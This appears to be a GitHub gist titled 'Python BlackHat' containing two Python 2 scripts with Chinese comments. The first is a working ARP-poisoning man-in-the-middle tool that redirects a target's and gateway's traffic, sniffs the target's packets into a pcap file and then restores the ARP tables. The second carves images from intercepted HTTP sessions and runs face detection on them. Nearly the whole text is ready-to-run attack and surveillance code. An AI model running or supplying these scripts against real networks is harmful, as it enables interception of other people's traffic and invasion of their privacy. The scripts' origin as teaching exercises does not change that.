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@ttcmk
Created September 22, 2017 19:36
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Python BlackHat
# -*- coding: utf-8 -*-
from scapy.all import *
import os
import sys
import threading
import signal
# 运行前,Mac:sudo sysctl -w net.inet.ip.forwarding=1
# Linux: echo 1 > /proc/sys/net/ipv4/ip_forward
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
# 以下代码中调用send函数的方式稍有不同
print "[*] Restoring target... "
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)
# 发送退出信号到主线程
os.kill(os.getpid(), signal.SIGINT)
def get_mac(ip_address):
# 形如:(<Results: TCP:0 UDP:0 ICMP:1 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)
responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address), timeout=2, retry=10)
# 返回从响应数据中获取的MAC地址
for s, r in responses:
return r[Ether].src
return None
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
# 构建欺骗目标的ARP请求(),这里没设置hwsrc,默认就是本机咯
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst = target_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst = gateway_mac
print "[*] Beginning the ARP Poison. [CTRL-C to stop]"
while True:
try:
send(poison_target)
send(poison_gateway)
time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
print "[*] ARP Poison attack finished"
return
interface = "eth0"
target_ip = "192.168.1.7"
gateway_ip = "192.168.1.1"
packet_count = 1000
# 设置嗅探的网卡
conf.iface = interface
# 关闭输出
conf.verb = 0
print "[*] Setting up %s" % interface
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print "[!!!] Failed to get gateway MAC. Exiting"
sys.exit(0)
else:
print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)
target_mac = get_mac(target_ip)
if target_mac is None:
print "[!!!] Failed to get target MAC. Exiting"
sys.exit(0)
else:
print "[*] Target %s is at %s" % (target_ip, target_mac)
# 启动ARP投毒线程
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()
try:
print "[*] Starting sniffer for %d packets" % packet_count
bpf_sniffer = "ip host %s" % target_ip
packets = sniff(count=packet_count, filter=bpf_sniffer, iface=interface)
# 将捕获的数据包输出到文件
wrpcap('arper.pcap', packets)
# 还原网络配置
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
except KeyboardInterrupt:
# 还原网络配置
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
sys.exit(0)
# -*- coding: utf-8 -*-
import re
import zlib
import cv2
from scapy.all import *
picture_directory = "./pictures"
faces_directory = "./faces"
pcap_file = "bhp.pcap"
def get_http_headers(http_payload):
try:
# 如果为HTTP流量,提取HTTP头
headers_raw = http_payload[:http_payload.index("\r\n\r\n") + 2]
# 对HTTP头进行切分
# (?P<name>.*?) ---> 对找到的结果进行进一步分割成字典形式
# 如:dict(re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", "Content-Type: image/pgf\r\n"))
# 输出:{'Content-Type': 'image/pgf'}
headers = dict(re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", headers_raw))
except:
return None
if "Content-Type" not in headers:
return None
return headers
def extract_image(headers, http_payload):
image = None
image_type = None
try:
if "image" in headers['Content-Type']:
# 获取图像的类型和图像数据
image_type = headers['Content-Type'].split("/")[1]
image = http_payload[http_payload.index("\r\n\r\n") + 4:]
# 如果进行了数据压缩则解压
try:
if "Content-Encoding" in headers.keys():
if headers['Content-Encoding'] == 'gzip':
image = zlib.decompress(image, 16 + zlib.MAX_WBITS)
elif headers['Content-Encoding'] == 'deflate':
image = zlib.decompress(image)
except:
pass
except:
return None, None
return image, image_type
def face_detect(path, file_name):
img = cv2.imread(path)
cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))
if len(rects) == 0:
return False
rects[:, 2:] += rects[:, :2]
# 对图像中的人脸进行高亮显示处理
for x1,y1,x2,y2 in rects:
cv2.rectangle(img, (x1,y1), (x2,y2), (127,255,0), 2)
cv2.imwrite("%s/%s-%s" % (faces_directory, pcap_file, file_name), img)
return True
def http_assembler(pcap_file):
carved_images = 0
faces_detected = 0
a = rdpcap(pcap_file)
sessions = a.sessions()
for session in sessions:
http_payload = ""
for packet in sessions[session]:
# 这一步与在Wireshark中右键 Follow TCP Stream 相似
try:
if packet[TCP].dport == 80 or packet[TCP].sport == 80:
# 对数据组包
http_payload += str(packet[TCP].payload)
except:
pass
headers = get_http_headers(http_payload)
if headers is None:
continue
image, image_type = extract_image(headers, http_payload)
if image is not None and image_type is not None:
# 存储图像
file_name = "%s-pic_carver_%d.%s" % (pcap_file, carved_images, image_type)
fd = open("%s/%s" % (picture_directory, file_name), "wb")
fd.write(image)
fd.close()
carved_images += 1
# 开始人脸检测
try:
result = face_detect("%s/%s" % (picture_directory, file_name), file_name)
if result is True:
faces_detected += 1
except:
pass
return carved_images, faces_detected
if __name__ == '__main__':
carved_images, faces_detected = http_assembler(pcap_file)
print "Extracted: %d images" % carved_images
print "Detected: %d faces" % faces_detected
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